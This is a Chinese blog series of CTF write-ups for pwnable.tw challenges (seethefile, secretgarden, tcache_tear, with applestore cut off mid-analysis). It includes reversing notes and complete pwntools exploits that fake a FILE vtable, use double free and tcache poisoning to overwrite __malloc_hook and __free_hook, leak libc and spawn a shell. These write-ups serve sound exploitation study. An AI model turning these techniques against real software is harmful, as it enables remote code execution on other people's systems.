男票带我练CTF之seethefile

题目链接

1 分析

$ file seethefile 
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped
$ checksec seethefile
[*] '/mnt/hgfs/vmshare-1604/seethefile/seethefile'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 32位二进制可执行程序
  • 动态链接
  • got表可读可写
  • 栈不可执行,未开栈canary
  • 未随机化

程序一共实现了五个功能:

  • open:打开文件

  • read:读文件

  • write to screen:将读取的内容打印到屏幕

  • close:关闭文件
  • exit:退出

所有操作都是针对如下几个bss段的全局变量:

  • char filename[64]
  • char magicbuf[416]
  • name,占0x20个字节
  • FILE *fp

openfile读取字符串到filename[64]处,如果文件名不包含“flag”字符串就打开这个文件,并将文件描述符指针关联到bss段的FILE *fp。

readfile将打开文件的内容读取到magicbuf[416]。

write to screen将magicbuf[416]中的内容打印到屏幕上。(filename不能包含“flag”,内容中不能包含”FLAG”或”}”)

close将打开的文件关闭。

exit退出前会读取一段字符串到bss段的name处,然后判断fp是否为空,若不为空就fslose(fp)。如下代码:

      case 5:
        printf("Leave your name :");
        __isoc99_scanf("%s", &name);
        printf("Thank you %s ,see you next time\n", &name);
        if ( fp )
          fclose(fp);
        exit(0);
        return;

漏洞点:name和fp相邻,name处在低地址,fp处在高地址。scanf未限制name输入的字符串大小,导致溢出覆盖fp指针。

触发代码:

#coding=utf-8

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./seethefile')
#mylibc = ELF('./libc_32.so.6')
mylibc = ELF("/lib32/libc-2.23.so")
myproc = process(myelf.path)
#myproc = process(['./seethefile'], env={"LD_PRELOAD":"./libc_32.so.6"})
#myproc = remote('chall.pwnable.tw',10200)

def openfile(filename):
    myproc.sendlineafter("Your choice :",'1')
    myproc.sendlineafter("What do you want to see :",filename)

def readfile():
    myproc.sendlineafter("Your choice :",'2')

def printfile():
    myproc.sendlineafter("Your choice :",'3')

def closefile():
    myproc.sendlineafter("Your choice :",'4')

def exit(name):
    myproc.sendlineafter("Your choice :",'5')
    myproc.sendlineafter("Leave your name :",name)

closefile()
gdb.attach(myproc)
exit('a'*50)
myproc.interactive()

执行以上出发代码,观察堆栈发现eax和esi都被输入的“a”字符给覆盖了。

$eax   : 0x61616161 ("aaaa"?)
$ebx   : 0xf7f7a000  →  0x001afdb0
$ecx   : 0xffffffff
$edx   : 0xf7f7b870  →  0x00000000
$esp   : 0xffe11f60  →  0xf7faa7eb  →   add esi, 0x15815
$ebp   : 0xffe11f88  →  0xffe11fd8  →  0x00000000
$esi   : 0x61616161 ("aaaa"?)
$edi   : 0xf7f7a000  →  0x001afdb0
$eip   : 0xf7e26ed7  →  <fclose+23> cmp BYTE PTR [esi+0x46], 0x0
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86

2 利用

根据fclose的特性,参考了以下几篇文章:

pwnable.tw 9 seethefile

glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行

(1)_IO_FILE结构体大小为0x94

(2)flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)

(3)将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;’开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可

(4)vtable是个虚标指针,里面一般性是21or23个变量

exp如下:

#coding=utf-8

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./seethefile')
mylibc = ELF('./libc_32.so.6')
#mylibc = ELF("/lib32/libc-2.23.so")
#myproc = process(myelf.path)
#myproc = process(['./seethefile'], env={"LD_PRELOAD":"./libc_32.so.6"})
myproc = remote('chall.pwnable.tw',10200)

def openfile(filename):
    myproc.sendlineafter("Your choice :",'1')
    myproc.sendlineafter("What do you want to see :",filename)

def readfile():
    myproc.sendlineafter("Your choice :",'2')

def printfile():
    myproc.sendlineafter("Your choice :",'3')

def closefile():
    myproc.sendlineafter("Your choice :",'4')

def exit(name):
    myproc.sendlineafter("Your choice :",'5')
    myproc.sendlineafter("Leave your name :",name)

#泄露libc
openfile("/proc/self/maps")
readfile()
printfile()
log.warn(myproc.recvline())
log.warn(myproc.recvline())
log.warn(myproc.recvline())
log.warn(myproc.recvline())
libc_addr = int(myproc.recv(8),16) + 0x1000
log.warn("libc_addr : 0x%x" % libc_addr)
sys_addr = libc_addr + mylibc.symbols['system']
log.warn("sys_addr: 0x%x" % sys_addr)
closefile()
#覆盖函数指针
openfile('/proc/self/maps')
FAKE_IO_FILE_addr = 0x0804b300
payload = "a"*32 + p32(FAKE_IO_FILE_addr)
payload += "\x00"*(0x80-4)
payload += "\xff\xff\xdf\xff;sh\x00".ljust(0x94,'\x00')
payload += p32(FAKE_IO_FILE_addr + 0x98)
payload += p32(sys_addr)*21
exit(payload)
#gdb.attach(myproc)
myproc.interactive()

其他解题思路:

seethefile 解题思路

Read More


男票带我练CTF之SecretGarden

题目链接

参考WP:

pwnable.tw中的secretgarden

pwnable.tw 11~18题 writeup

pwnable.tw-secretgarden

1 分析

1.1 linux下查看二进制信息

两条命令查看给定二进制文件基本信息:

$ file secretgarden 
secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped

$ checksec secretgarden 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/bling/.pwntools-cache-2.7/update to 'never'.
[*] You have the latest version of Pwntools (4.0.1)
[*] '/mnt/hgfs/vmshare-1604/secret_gargen/secretgarden'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

以上信息可以得知:

  • 64位二进制可执行程序,动态链接,去符号表
  • got表不可写
  • 栈不可执行,开启栈canary
  • 地址随机化开启

1.2 IDA逆向源码逻辑

第一眼就看到了alarm函数,patch掉。

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 choice_1; // [rsp+0h] [rbp-28h]
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  time_alarm();
  while ( 1 )
  {
    print_info();
    read(0, &choice_1, 4uLL);
    switch ( (unsigned int)strtol((const char *)&choice_1, 0LL, 10) )
    {
      case 1u:
        raise();                                // Raise a flower
        break;
      case 2u:
        visit();                                // Visit the garden
        break;
      case 3u:
        remove();                               // Remove a flower from the garden
        break;
      case 4u:
        clean();                                // Clean the garden
        break;
      case 5u:
        puts("See you next time.");             // Leave the garden
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

源码一共实现了5个功能,分别是raise(),visit(),remove(), clean(),以及一个exit(0)退出函数。着重分析前三个函数功能。

  • raise()函数

经过分析,raise()的功能主要是malloc一个堆块(flower_chunk),并将该堆块链接到bss段qword_202040(大小为100的数组),一共可以养100支花。如下图所示。

image

  • visit()函数

该函数会遍历bss段上全局变量qword_202040[100]中各个元素,并打印flower_chunk第一个元素为1的堆块内容(flower_chunk的第一个元素为1表明该flower处于raise状态,当remove后第一个元素会变为0)。

  • remove()函数

该函数根据指定的数组下标,将对应的flower_chunk第一个元素置为0,并将第二个元素指向的堆块free掉。其中free代码如下:

if ( v2 <= 99 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL )
  {
    *v1 = 0;
    free(*(void **)(qword_202040[v2] + 8LL));
    result = puts("Successful");
  }

可以看到,本题的漏洞点就在这儿。free操作后,并没有将flower_chunk的第二个元素置NULL,导致一个悬空指针的产生。

  • clean()函数

对delete过的节点,将其从bss段的qword_202040[100]中释放,并将qword_202040[100]相应元素置0。这个函数在我利用中没有用到。

1.3 漏洞触发

以double free的方式触发该漏洞,代码如下:

#coding=utf-8

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./secretgarden')
mylibc = ELF('libc_64.so.6')
#myproc = process(myelf.path)
myproc = process(['./secretgarden'], env={"LD_PRELOAD":"./libc_64.so.6"})
#myproc = remote('chall.pwnable.tw',10203)

def Raise(flength,fname,fcolor):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('1')
    myproc.recvuntil('Length of the name :')
    myproc.sendline(flength)
    myproc.recvuntil('The name of flower :')
    myproc.sendline(fname)
    myproc.recvuntil('The color of the flower :')
    myproc.sendline(fcolor)

def Visit():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('2')

def Remove(findex):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('3')
    myproc.recvuntil('Which flower do you want to remove from the garden:')
    myproc.sendline(findex)

def Clean():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('4')

def Leave():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('5')

Raise('40','f0','c0')
Raise('40','f1','c1')
Remove('0')
Remove('0')
myproc.interactive()

执行后,出现如下错误提示信息:

[DEBUG] Received 0x5b bytes:
    "*** Error in `./secretgarden': double free or corruption (fasttop): 0x000055e3496bc050 ***\n"
*** Error in `./secretgarden': double free or corruption (fasttop): 0x000055e3496bc050 ***

2 利用

本题有一个double free的漏洞,并且有一个visit()函数可以打印flower_chunk的堆块内容。因此可以将libc中的某个地址泄露到flower_chunk堆块中,调用visit()函数进行打印,最后通过偏移计算libc基址。double free还可用于构造任意地址写,寻找合适的函数指针(如程序自带的函数指针,got表项,fini_array段函数指针或者libc中的函数指针)将其覆盖为system函数(并构造参数”/bin/sh\x00”),或者直接调用one_gadget。

  • 泄露libc地址

利用unsorted bin的特性。释放一个堆块到unsorted bin,然后又申请该大小的堆块,调用visit()打印flower_chunk中的name堆块其前0-8或8-16字节。

在覆盖0-8字节时有两种办法:

1)使用 sendline("a"*7) send("a"*8)

2)使用send("")

#coding=utf-8

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./secretgarden')
mylibc = ELF('libc_64.so.6')
#myproc = process(myelf.path)
myproc = process(['./secretgarden'], env={"LD_PRELOAD":"./libc_64.so.6"})
#myproc = remote('chall.pwnable.tw',10203)

def Raise(flength,fname,fcolor):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('1')
    myproc.recvuntil('Length of the name :')
    myproc.sendline(flength)
    myproc.recvuntil('The name of flower :')
    myproc.sendline(fname)
    myproc.recvuntil('The color of the flower :')
    myproc.sendline(fcolor)

def Visit():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('2')

def Remove(findex):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('3')
    myproc.recvuntil('Which flower do you want to remove from the garden:')
    myproc.sendline(findex)

def Clean():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('4')

def Leave():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('5')

Raise('38','f0','c0')
Raise('200','f1','c1')
Raise('38','f2','c2')
Remove('0')
Remove('1')
Raise('200','a'*7,'c3')
# 必须保证输入的name加上字符串结尾符正好是8个字节,这样才能泄露出后8个字节的地址
Visit()
myproc.recvuntil('aaaaaaa\n')
top_addr = u64(myproc.recv(6)+'\x00\x00')
libc_addr = top_addr - 0x3C3B78
# 使用给定的libc_64.so.6,在调试时可以算出top_addr和libc_addr之间的差值为0x3C3B78
log.warn("top_addr:0x%x" % top_addr)
log.warn("libc_addr:0x%x" % libc_addr)

gdb.attach(myproc)
myproc.interactive()
  • 覆盖函数指针

经过分析,本题采用覆盖libc函数指针+one_gadget的方式进行利用。直接覆盖malloc函数的方式不可行,因为one_gadget都有constraints约束条件,如下代码所示。

$ one_gadget libc_64.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

堆里面有一种情况,就是free或者malloc出错时,会去调用malloc_printerr打印错误信息(如检测到double free时)。这个函数中会去调用malloc,此时的rsp+0x50可以满足上述约束条件。

参考gdb带源码调试libc方法获取执行到__malloc_hook时的约束条件。

因此,选择将__malloc_hook函数指针覆盖为one_gadget地址。最后触发一次double free,进入malloc_printerr中调用malloc函数时会先执行__malloc_hook,于是one_gadget得到执行,成功get shell。

3 EXP

最终的exp如下:

#coding=utf-8

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./secretgarden')
mylibc = ELF('libc_64.so.6')
#myproc = process(myelf.path)
myproc = process(['./secretgarden'], env={"LD_PRELOAD":"./libc_64.so.6"})
#myproc = remote('chall.pwnable.tw',10203)

def Raise(flength,fname,fcolor):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('1')
    myproc.recvuntil('Length of the name :')
    myproc.sendline(flength)
    myproc.recvuntil('The name of flower :')
    myproc.sendline(fname)
    myproc.recvuntil('The color of the flower :')
    myproc.sendline(fcolor)

def Visit():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('2')

def Remove(findex):
    myproc.recvuntil('Your choice : ')
    myproc.sendline('3')
    myproc.recvuntil('Which flower do you want to remove from the garden:')
    myproc.sendline(findex)

def Clean():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('4')

def Leave():
    myproc.recvuntil('Your choice : ')
    myproc.sendline('5')

Raise('38','f0','c0')
Raise('200','f1','c1')
Raise('38','f2','c2')
Remove('0')
Remove('1')
Raise('200','a'*7,'c3')
# 必须保证输入的name加上字符串结尾符正好是8个字节,这样才能泄露出后8个字节的地址
Visit()
myproc.recvuntil('aaaaaaa\n')
top_addr = u64(myproc.recv(6)+'\x00\x00')
libc_addr = top_addr - 0x3C3B78
# 使用给定的libc_64.so.6,在调试时可以算出top_addr和libc_addr之间的差值为0x3C3B78
# log.warn("top_addr:0x%x" % top_addr)
# log.warn("libc_addr:0x%x" % libc_addr)

malloc_hook = libc_addr + mylibc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23
# 根据__malloc_hook低地址的情况,__malloc_hook - 0x13处可以构造8字节0x000000000000007f作为fake_chunk的大小,此时fake_chunk的地址为__malloc_hook - 0x13 - 0x10
gadget_addr = libc_addr + 0xf0567

Raise('100','f0','c4')
Raise('100','f1','c5')
Remove('4')
Remove('5')
Remove('4')
Raise('100',p64(fake_chunk),'c6')
Raise('100','xx','c7')
Raise('100','xx','c8')
log.warn('fake_chunk: 0x%x' % fake_chunk)
log.warn('malloc_hook: 0x%x' % malloc_hook)
log.warn('libc_addr: 0x%x' % libc_addr)
log.warn('gadget_addr: 0x%x' % gadget_addr)
# hacked fastbin to fake_chunk
Raise('100','a'*0x13 + p64(gadget_addr),'c9')
# size 0x70 104
# size 0x60 88
Remove('8')
Remove('8')
#Visit()
#gdb.attach(myproc)
myproc.interactive()
Read More

男票带我练CTF之Tcache tear

Tcache tear题目链接

1 分析

1.1 linux下查看二进制信息

$ file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped

$ checksec tcache_tear
[*] '/mnt/hgfs/vmshare-1804/Tcache-tear/tcache_tear'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

可以得到如下信息:

  • 64位二进制程序,动态链接,去符号表
  • got表保护开启,got表不可写
  • 栈保护开启,栈不可执行,且有canary
  • 没有开启地址随机化

1.2 IDA逆向源码逻辑

main中sub_400948()存在一个alarm定时函数,于是将它patch掉。(Edit –> Patch program –>Assemble,全部patch为nop)

通过IDA分析Tcache tear的源码逻辑如下:

image

这里的漏洞点在num = 2的分支中,如下代码:

 if ( v4 <= 7 )
      {
        free(ptr);
        ++v4;
      }
// free了全局变量ptr指向的堆内存,但并没有将该指针置NULL,导致悬空指针的产生。

本题采用的glibc 2.26 (ubuntu 17.10) 版本,为提升堆管理性能,舍弃了很多安全检查。如,对tcache而言,可以不间隔地free两个相同的堆,并添加到tcache链表中。

本题中,控制Malloc的size在tcache范围内,执行如下命令可形成一个环:

Malloc(size,data);
free();
free();

image

下次malloc时,tcache将最右边的chunk返回给用户使用,用户可以更改其中的数据,如chunk的fd部分。那么当再一次malloc时,将右数第二个chunk(跟上一个实际是同一chunk)分配给用户。但此时由于fd被更改,下一次mallloc时,就会分配到fd中指定的地址。因此我们便可以在新地址中写一些数据,达到任意地址写的目的。

接下来,我们触发一下这个漏洞试试,定个小目标,去修改全局变量0x602060处Global_name的值。

1.3 漏洞触发 - 任意地址写

初始化时,Global_name赋值为xiayuan,我的目标是把它改成wangyuxuan,代码如下:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
myproc = process(myelf.path)

def my_malloc(size,data):
    myproc.recvuntil('Your choice :')
    myproc.sendline('1')
    myproc.recvuntil('Size:')
    myproc.sendline(p64(size))
    myproc.recvuntil('Data:')
    myproc.sendline(data)

def my_free():
    myproc.recvuntil('Your choice :')
    myproc.send('2')

def my_info():
    myproc.recvuntil('Your choice :')
    myproc.send('3')

def my_exit():
    myproc.recvuntil('Your choice :')
    myproc.send('4')
    
# Global_name --> xiayuan
myproc.recvuntil('Name:')
myproc.sendline('xiayuan')

# change Global_name --> wangyuxuan
my_malloc(200,'aaaaaaaaaa')
my_free()
my_free()
my_malloc(200,p64(0x602060))
my_malloc(200,'0')
my_malloc(200,'wangyuxuan')

gdb.attach(myproc,'b * 0x00400c02 \nc')

myproc.interactive()

gdb中查看Global_name处的值,成功被改

gef➤  x/s 0x602060
0x602060:	"wangyuxuan"

2 漏洞利用

得到一个任意地址写的漏洞,我们通常有一下几种方式利用:

  • 修改函数指针
  • 修改got表
  • fini_array段函数指针
  • libc中的函数指针

在本题中:

  • 程序没有自己的函数指针
  • got表不可写
  • 进入main函数后,一直处于while循环,不会执行到fini_array

因此,我们只能去修改libc中的函数指针,需要:

  • 泄露libc基址
  • 利用libc中的函数指针

2.1 泄露libc基址

参考hacknote中,unsorted bin的特性。这里需要构造一个会被回收到unsorted bin中的chunk,然后将chunk中相应位置的数据(main_arena的top结构体)读出,减去它跟libc基址的偏移,就可以得到libc基址。

一个又能被我们写,又能被我们读的位置,就是Global_name处。

free时除了检查当前块,还要检查nextchunk和nextchunk的nextchunk。因此总共需要构造三个块。

大小分别为0x500(free时进入usorted bin), 0x20, 0x20。且需要将他们的inuse位置1,以通过检查。

  • main_arena中top结构体距离libc基址的偏移:0x00007f762418fca0 - 0x00007f7623da4000 = 0x3ebca0

image

泄露libc地址的源码如下:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
myproc = process(myelf.path)

def my_malloc(size,data):
    myproc.recvuntil('Your choice :')
    myproc.sendline('1')
    myproc.recvuntil('Size:')
    myproc.sendline(str(size))
    myproc.recvuntil('Data:')
    myproc.sendline(data)

def my_free():
    myproc.recvuntil('Your choice :')
    myproc.sendline('2')

def my_info():
    myproc.recvuntil('Your choice :')
    myproc.sendline('3')

def my_exit():
    myproc.recvuntil('Your choice :')
    myproc.sendline('4')

myproc.recvuntil('Name:')
myproc.sendline(p64(0)+p64(0x501))

my_malloc(0x50,'a')
my_free()
my_free()
my_malloc(0x50,p64(0x602060 + 0x500))
my_malloc(0x50,'0')
my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)

my_malloc(0x70,'b')
my_free()
my_free()
my_malloc(0x70,p64(0x602060 + 0x10))
my_malloc(0x70,'0')
my_malloc(0x70,'b')

# free, then get 'top' addr on 0x602060+0x10
my_free()

# calc libc_addr
my_info()
myproc.recv('Name :')
myproc.recv(0x10)
libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0

gdb.attach(myproc,'b * 0x00400c02 \nc')

myproc.interactive()

2.2 控制libc中的函数指针

libc中存在一些导出的hook函数指针:

$ strings libc-123.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook

malloc hook初探

根据这些hook函数的特性(malloc之前会调用__malloc_hook,free之前会调用__free_hook),我们可以劫持这些函数指针,来执行system函数或者one_gadget。

$ one_gadget libc-123.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

3 EXP

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
mylibc = ELF('libc-123.so')
myproc = process(myelf.path)

def my_malloc(size,data):
    myproc.recvuntil('Your choice :')
    myproc.sendline('1')
    myproc.recvuntil('Size:')
    myproc.sendline(str(size))
    myproc.recvuntil('Data:')
    myproc.sendline(data)

def my_free():
    myproc.recvuntil('Your choice :')
    myproc.sendline('2')

def my_info():
    myproc.recvuntil('Your choice :')
    myproc.sendline('3')

def my_exit():
    myproc.recvuntil('Your choice :')
    myproc.sendline('4')

myproc.recvuntil('Name:')
myproc.sendline(p64(0)+p64(0x501))

my_malloc(0x50,'a')
my_free()
my_free()
my_malloc(0x50,p64(0x602060 + 0x500))
my_malloc(0x50,'0')
my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)

my_malloc(0x70,'b')
my_free()
my_free()
my_malloc(0x70,p64(0x602060 + 0x10))
my_malloc(0x70,'0')
my_malloc(0x70,'b')

# free, then get 'top' addr on 0x602060+0x10
my_free()

# calc libc_addr
my_info()
myproc.recvuntil('Name :')
myproc.recv(0x10)
libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0

# hijack __free_hook
free_hook = libc_addr + mylibc.symbols['__free_hook']
system_addr = libc_addr + mylibc.symbols['system']
# 1、将free_hook所在地址的值覆盖为system函数的地址值
my_malloc(0x90,'b')
my_free()
my_free()
my_malloc(0x90,p64(free_hook))
my_malloc(0x90,'0')
my_malloc(0x90,p64(system_addr))
# 2、使void *ptr指向“/bin/sh”,后续free(ptr)时相当于执行system("/bin/sh")
my_malloc(0x80,'/bin/sh\x00')

my_free()
# gdb.attach(myproc,'b * 0x00400c02 \nc')
myproc.interactive()
Read More

男票带我练CTF之applestore

applestore题目链接

这是一道我看着看着想哭的题目,真的太绕了。

1 分析

1.1 linux下查看二进制信息

$ file applestore
applestore: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped

$ checksec applestore
[*] '/mnt/hgfs/vmshare/applestore/applestore'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以得到如下信息:

  • 32位二进制程序,动态链接,没有去符号表
  • got表可写
  • 开启栈不可执行,并有canary
  • 没有开启地址随机化

1.2 IDA逆向源码逻辑

main函数中,前两个函数时设置超时的,60秒程序就timeout了。

  • memset将全局变量mycart的16个字节全部初始化为0。
  • menu函数中做一些信息打印。从代码中可以看到,有6个选项。
  • handler函数中会进行一些处理。其中handler函数是重点,接下来我们对其中的每个函数详细分析。
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signal(14, timeout);
  alarm(0x3Cu);
  memset(&myCart, 0, 0x10u);
  menu();
  return handler();
}

int menu()
{
  puts("=== Menu ===");
  printf("%d: Apple Store\n", 1);
  printf("%d: Add into your shopping cart\n", 2);
  printf("%d: Remove from your shopping cart\n", 3);
  printf("%d: List your shopping cart\n", 4);
  printf("%d: Checkout\n", 5);
  return printf("%d: Exit\n", 6);
}

unsigned int handler()
{
  char which_phone; // [esp+16h] [ebp-22h]
  unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    printf("> ");
    fflush(stdout);
    my_read(&which_phone, 0x15u);
    switch ( atoi(&which_phone) )
    {
      case 1:
        list();                                 // apple store
        break;
      case 2:
        add();                                  // Add into your shopping cart
        break;
      case 3:
        delete();                               // Remove from your shopping cart
        break;
      case 4:
        cart();                                 // List your shopping cart
        break;
      case 5:
        checkout();                             // Checkout
        break;
      case 6:
        puts("Thank You for Your Purchase!");   // Exit
        return __readgsdword(0x14u) ^ v2;
      default:
        puts("It's not a choice! Idiot.");
        break;
    }
  }
}

1.2.1 list

这个函数没什么好关注的,就是很多条打印信息,将苹果商店里有的商品及价格展示给我们。

int list()
{
  puts("=== Device List ===");
  printf("%d: iPhone 6 - $%d\n", 1, 199);
  printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
  printf("%d: iPad Air 2 - $%d\n", 3, 499);
  printf("%d: iPad Mini 3 - $%d\n", 4, 399);
  return printf("%d: iPod Touch - $%d\n", 5, 199);
}

1.2.2 add

add函数的主要逻辑是将我们选择的商品添加进购物车。此函数看上去比较多,涉及5个case分支。实际只需关注create和insert两个函数功能。

unsigned int add()
{
  _DWORD *v1; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  switch ( atoi(&nptr) )
  {
    case 1:
      v1 = (_DWORD *)create("iPhone 6", 199);
      insert(v1);
      goto LABEL_8;
    case 2:
      v1 = (_DWORD *)create("iPhone 6 Plus", 299);
      insert(v1);
      goto LABEL_8;
    case 3:
      v1 = (_DWORD *)create("iPad Air 2", 499);
      insert(v1);
      goto LABEL_8;
    case 4:
      v1 = (_DWORD *)create("iPad Mini 3", 399);
      insert(v1);
      goto LABEL_8;
    case 5:
      v1 = (_DWORD *)create("iPod Touch", 199);
      insert(v1);
LABEL_8:
      printf("You've put *%s* in your shopping cart.\n", *v1);
      puts("Brilliant! That's an amazing idea.");
      break;
    default:
      puts("Stop doing that. Idiot!");
      break;
  }
  return __readgsdword(0x14u) ^ v3;
}

1.2.2.1 create

create函数中申请一个16字节大小的堆,并将该堆块分成4份。第0~3字节存放asprintf申请的堆空间地址(该新申请的堆中存放的是手机型号的字符串)。第4~7字节存放手机的价格。剩余8个字节目前存放的是0。随后将这个堆块的地址返回给上一层,上一层将该地址传递给insert。

char **__cdecl create(int p_type, char *p_money)
{
  char **v2; // eax MAPDST

  v2 = (char **)malloc(0x10u);
  v2[1] = p_money;
  asprintf(v2, "%s", p_type);
  v2[2] = 0;
  v2[3] = 0;
  return v2;
}

create的堆块和asprintf生成的堆块关系如下图:

image

1.2.2.2 insert

insert函数中,将上一步的堆块和全局变量mycart连接起来,组成如下图1.2.2.2-1的关系。

int *__cdecl insert(int *info_loc)
{
  int *result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = info_loc;
  result = info_loc;
  info_loc[3] = (int)i;
  return result;
}

图1.2.2.2-1

image

当add第二部手机进购物车的时候,就会生成如图1.2.2.2-2的关系:

image

可以看出,添加进购物车的手机信息都被串成了双链表的形式。因此后续的delete和cart就是双链表删除和遍历的操作。

1.2.3 delete

delete函数的功能主要是,根据我们输入的编号,将购物车中对应的商品删除。

unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int v3; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  v3 = atoi(&nptr);
  while ( v2 )
  {
    if ( v1 == v3 )
    {
      v4 = v2[2];
      v5 = v2[3];
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4;
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

1.2.4 cart

cart函数的功能是打印我们购物车中已经存在的商品,并且计算购物车中商品的总额,最后将总额返回。

int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

1.2.5 checkout

